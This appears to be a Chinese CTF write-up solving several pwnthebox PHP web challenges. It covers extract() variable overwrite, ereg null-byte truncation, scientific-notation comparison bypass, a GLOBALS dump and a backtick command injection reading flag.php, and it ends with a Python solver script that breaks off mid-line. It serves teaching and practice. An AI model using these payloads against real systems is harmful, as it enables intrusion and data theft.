[pwnthebox] 对方不想和你说话,并向你扔了一段代码
php中extract()函数存在变量覆盖漏洞,所以讲url后面加上 /?a=&b=,$a和$b变量内容为空字符串造成两个的值相等,或者直接就 /a= ,也行。得到flag。
[pwnthebox] 你给我一个满意的数字,我就给你flag!查看源码,发现index.php.txt.访问得到了源码:
审计后发现,需要满足:
if (isset ( $_POST ['num'] )) {
if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)
echo '说好的数å—呢?';
else if (strpos ( $_POST['num'], '#testaasafd' ) !== FALSE)
die ( 'Flag: ' . $flag );
ereg函数存在截断漏洞。
采用%00截断来绕过数字检测,同时strpos检测num中的#testaasafd返回true。
hackbar传入:
?num=1%00#testaasafd 得到flag。
eregif (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo 'You password must be alphanumeric
';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
同上题,ereg函数存在%00截断,这道题多了对password的长度进行了限制,还要满足>9999999.科学计数法绕过。
构造。
?password=1e8%00*-* 即可
变量根据题目和题的提示可知,flag在全局变量中。传入GLOBALS即可。
?hello=`cat flag.php`
在源码中得到flag。
3秒内算出结构并输入,人肯定算不了这么快,用python脚本计算看返回结果,得到flag。
import requests, re
url = 'https://1719-8daad556-e60b-4884-8dd3-97644aa066fd.do-not-trust.hacking.run/'
# Session():模拟登录操作
s = requests.Session() # 创建一个Session对象:s
def getURL(url):
con = s.get(url) # 发送请求,使用默认得登录属性
res = con.text # 获取页面text格式转换得字符串:res
return res
def Calculation(text):
#print((re.findall(".*
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?